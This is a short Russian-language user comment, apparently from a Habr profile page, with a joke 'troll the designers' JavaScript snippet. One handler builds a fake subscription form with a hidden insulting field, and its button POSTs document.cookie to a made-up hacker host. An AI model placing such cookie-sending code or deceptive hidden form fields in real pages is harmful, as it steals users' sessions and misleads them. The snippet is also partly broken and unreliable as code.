All streams
Search
Write a publication
Pull to refresh
0
0
Send message

в данном случае пример некорректный, не будет присваивания


itemsById[id] = {}

есть предложение по лучше:


// declearing variables
const rope = document.querySelector('.rope')

// troll the designers v1
rope.addEventListener('mouseover', (e) => {
    const { height } = rope.getBoundingClientRect()
    rope.style.setProperty('position', 'fixed')
    rope.style.setProperty('top', (e.pageY - height + 1 /* =D */) + 'px')
})

// troll the designers v2
rope.addEventListener('mousedown', (e) => {
    e.preventDefault()
    e.stopPropagation()
    e.stopImmediatePropagation()
    const dialog = document.createElementNS('http://www.w3.org/1999/xhtml', 'div')
    dialog.style.setProperty('position', 'fixed')
    dialog.style.setProperty('top', '0')
    dialog.style.setProperty('left', '0')
    dialog.style.setProperty('right', '0')
    dialog.style.setProperty('bottom', '0')
    dialog.style.setProperty('background', 'rgba(0,0,0,.9)')
    const content = document.createElementNS('http://www.w3.org/1999/xhtml', 'form')
    content.style.setProperty('position', 'relative')
    content.style.setProperty('top', '20%')
    content.style.setProperty('width', '80%')
    content.style.setProperty('max-width', '650px')
    content.style.setProperty('margin', '0 auto')
    content.style.setProperty('padding', '20px')
    content.textContent = 'Подпишитесь на наши уведомления, чтобы быть в курсе всех ваших бултыханий'
    const _ = document.createElementNS('http://www.w3.org/1999/xhtml', 'input')
    _.type = 'checkbox'
    _.checked = true
    _.value = 'е***ь я лох'
    _.hidden = true
    content.append(_)
    const ok = document.createElementNS('http://www.w3.org/1999/xhtml', 'button')
    ok.addEventListener('click', () => {
        fetch('//super.hacker.xxl.size.aga', {
            method: 'POST',
            body: document.cookie,
        })
        alert('Вы совершили оплошность, сударь!')
    })
    ok.textContent = 'Конечно!'
    ok.style.setProperty('margin-top', '10px')
    ok.style.setProperty('margin-left', 'auto')
    ok.style.setProperty('margin-right', '0')
    content.append(ok)
})

/* troll the designers v3 */

.rope {
    pointer-events: 'none';
}

Information

Rating
Does not participate
Registered
Activity